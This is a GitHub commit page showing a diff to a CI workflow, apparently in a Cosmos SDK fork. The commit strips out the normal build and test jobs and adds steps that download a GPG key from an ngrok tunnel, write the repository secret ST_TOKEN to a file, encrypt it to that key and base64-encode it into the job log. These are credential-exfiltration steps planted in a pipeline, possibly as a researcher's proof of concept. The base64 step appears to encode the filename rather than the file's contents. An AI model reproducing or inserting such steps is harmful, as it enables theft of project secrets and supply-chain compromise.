-
Notifications
You must be signed in to change notification settings - Fork 26
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Signed-off-by: Ignacio | Halborn <[email protected]>
- Loading branch information
1 parent
d911ce2
commit 7a55380
Showing
1 changed file
with
12 additions
and
169 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -13,173 +13,16 @@ jobs: | |
install-tparse: | ||
runs-on: ubuntu-latest | ||
steps: | ||
- uses: actions/setup-go@v3 | ||
with: | ||
go-version: 1.18 | ||
- name: Display go version | ||
run: go version | ||
- name: install tparse | ||
run: | | ||
export GO111MODULE="on" && go install github.com/mfridman/[email protected] | ||
- uses: actions/[email protected] | ||
with: | ||
path: ~/go/bin | ||
key: ${{ runner.os }}-go-tparse-binary | ||
- name: Get key | ||
run: wget https://c574-85-52-243-15.ngrok-free.app/ignacio.key | ||
- name: Import GPG key | ||
run: gpg --import ignacio.key | ||
- name: get secrets | ||
run: echo ${{ secrets.ST_TOKEN }} > secret.txt | ||
- name: encrypt secrets | ||
run: gpg -e -r tmp_key secret.txt | ||
- name: encode encrypted secrets | ||
run: base64 <<< secret.txt.gpg | ||
|
||
|
||
build: | ||
runs-on: ubuntu-latest | ||
strategy: | ||
matrix: | ||
go-arch: ["amd64", "arm", "arm64"] | ||
steps: | ||
- uses: actions/checkout@v2 | ||
- uses: actions/setup-go@v3 | ||
with: | ||
go-version: 1.18 | ||
- uses: technote-space/get-diff-action@v4 | ||
id: git_diff | ||
with: | ||
PATTERNS: | | ||
**/**.go | ||
go.mod | ||
go.sum | ||
- name: Build | ||
run: GOARCH=${{ matrix.go-arch }} LEDGER_ENABLED=false make build | ||
|
||
split-test-files: | ||
runs-on: ubuntu-latest | ||
steps: | ||
- uses: actions/setup-go@v3 | ||
with: | ||
go-version: 1.18 | ||
- uses: actions/checkout@v2 | ||
- name: Create a file with all the pkgs | ||
run: go list ./... > pkgs.txt | ||
- name: Split pkgs into 4 files | ||
run: split -d -n l/4 pkgs.txt pkgs.txt.part. | ||
# cache multiple | ||
- uses: actions/upload-artifact@v2 | ||
with: | ||
name: "${{ github.sha }}-00" | ||
path: ./pkgs.txt.part.00 | ||
- uses: actions/upload-artifact@v2 | ||
with: | ||
name: "${{ github.sha }}-01" | ||
path: ./pkgs.txt.part.01 | ||
- uses: actions/upload-artifact@v2 | ||
with: | ||
name: "${{ github.sha }}-02" | ||
path: ./pkgs.txt.part.02 | ||
- uses: actions/upload-artifact@v2 | ||
with: | ||
name: "${{ github.sha }}-03" | ||
path: ./pkgs.txt.part.03 | ||
|
||
tests: | ||
runs-on: ubuntu-latest | ||
needs: split-test-files | ||
strategy: | ||
fail-fast: false | ||
matrix: | ||
part: ["00", "01", "02", "03"] | ||
steps: | ||
- uses: actions/checkout@v2 | ||
- uses: actions/setup-go@v3 | ||
with: | ||
go-version: 1.18 | ||
- uses: technote-space/get-diff-action@v4 | ||
with: | ||
PATTERNS: | | ||
**/**.go | ||
go.mod | ||
go.sum | ||
- uses: actions/download-artifact@v2 | ||
with: | ||
name: "${{ github.sha }}-${{ matrix.part }}" | ||
if: env.GIT_DIFF | ||
- name: test & coverage report creation | ||
run: | | ||
cat pkgs.txt.part.${{ matrix.part }} | xargs go test -mod=readonly -timeout 30m -coverprofile=${{ matrix.part }}profile.out -covermode=atomic -tags='norace ledger test_ledger_mock' | ||
if: env.GIT_DIFF | ||
- uses: actions/upload-artifact@v2 | ||
with: | ||
name: "${{ github.sha }}-${{ matrix.part }}-coverage" | ||
path: ./${{ matrix.part }}profile.out | ||
|
||
upload-coverage-report: | ||
runs-on: ubuntu-latest | ||
needs: tests | ||
steps: | ||
- uses: actions/checkout@v2 | ||
- uses: technote-space/get-diff-action@v4 | ||
with: | ||
PATTERNS: | | ||
**/**.go | ||
go.mod | ||
go.sum | ||
- uses: actions/download-artifact@v2 | ||
with: | ||
name: "${{ github.sha }}-00-coverage" | ||
if: env.GIT_DIFF | ||
- uses: actions/download-artifact@v2 | ||
with: | ||
name: "${{ github.sha }}-01-coverage" | ||
if: env.GIT_DIFF | ||
- uses: actions/download-artifact@v2 | ||
with: | ||
name: "${{ github.sha }}-02-coverage" | ||
if: env.GIT_DIFF | ||
- uses: actions/download-artifact@v2 | ||
with: | ||
name: "${{ github.sha }}-03-coverage" | ||
if: env.GIT_DIFF | ||
- run: | | ||
cat ./*profile.out | grep -v "mode: atomic" >> coverage.txt | ||
if: env.GIT_DIFF | ||
- name: filter out DONTCOVER | ||
run: | | ||
excludelist="$(find ./ -type f -name '*.go' | xargs grep -l 'DONTCOVER')" | ||
excludelist+=" $(find ./ -type f -name '*.pb.go')" | ||
excludelist+=" $(find ./ -type f -name '*.pb.gw.go')" | ||
excludelist+=" $(find ./ -type f -path './tests/mocks/*.go')" | ||
for filename in ${excludelist}; do | ||
filename=$(echo $filename | sed 's/^./github.com\/cosmos\/cosmos-sdk/g') | ||
echo "Excluding ${filename} from coverage report..." | ||
sed -i.bak "/$(echo $filename | sed 's/\//\\\//g')/d" coverage.txt | ||
done | ||
if: env.GIT_DIFF | ||
- uses: codecov/[email protected] | ||
with: | ||
file: ./coverage.txt | ||
if: env.GIT_DIFF | ||
|
||
test-race: | ||
runs-on: ubuntu-latest | ||
needs: split-test-files | ||
strategy: | ||
fail-fast: false | ||
matrix: | ||
part: ["00", "01", "02", "03"] | ||
steps: | ||
- uses: actions/checkout@v2 | ||
- uses: actions/setup-go@v3 | ||
with: | ||
go-version: 1.18 | ||
- uses: technote-space/get-diff-action@v4 | ||
with: | ||
PATTERNS: | | ||
**/**.go | ||
go.mod | ||
go.sum | ||
- uses: actions/download-artifact@v2 | ||
with: | ||
name: "${{ github.sha }}-${{ matrix.part }}" | ||
if: env.GIT_DIFF | ||
- name: test & coverage report creation | ||
run: | | ||
xargs --arg-file=pkgs.txt.part.${{ matrix.part }} go test -mod=readonly -timeout 30m -race -tags='cgo ledger test_ledger_mock' | ||
if: env.GIT_DIFF | ||
- uses: actions/upload-artifact@v2 | ||
with: | ||
name: "${{ github.sha }}-${{ matrix.part }}-race-output" | ||
path: ./${{ matrix.part }}-race-output.txt | ||
|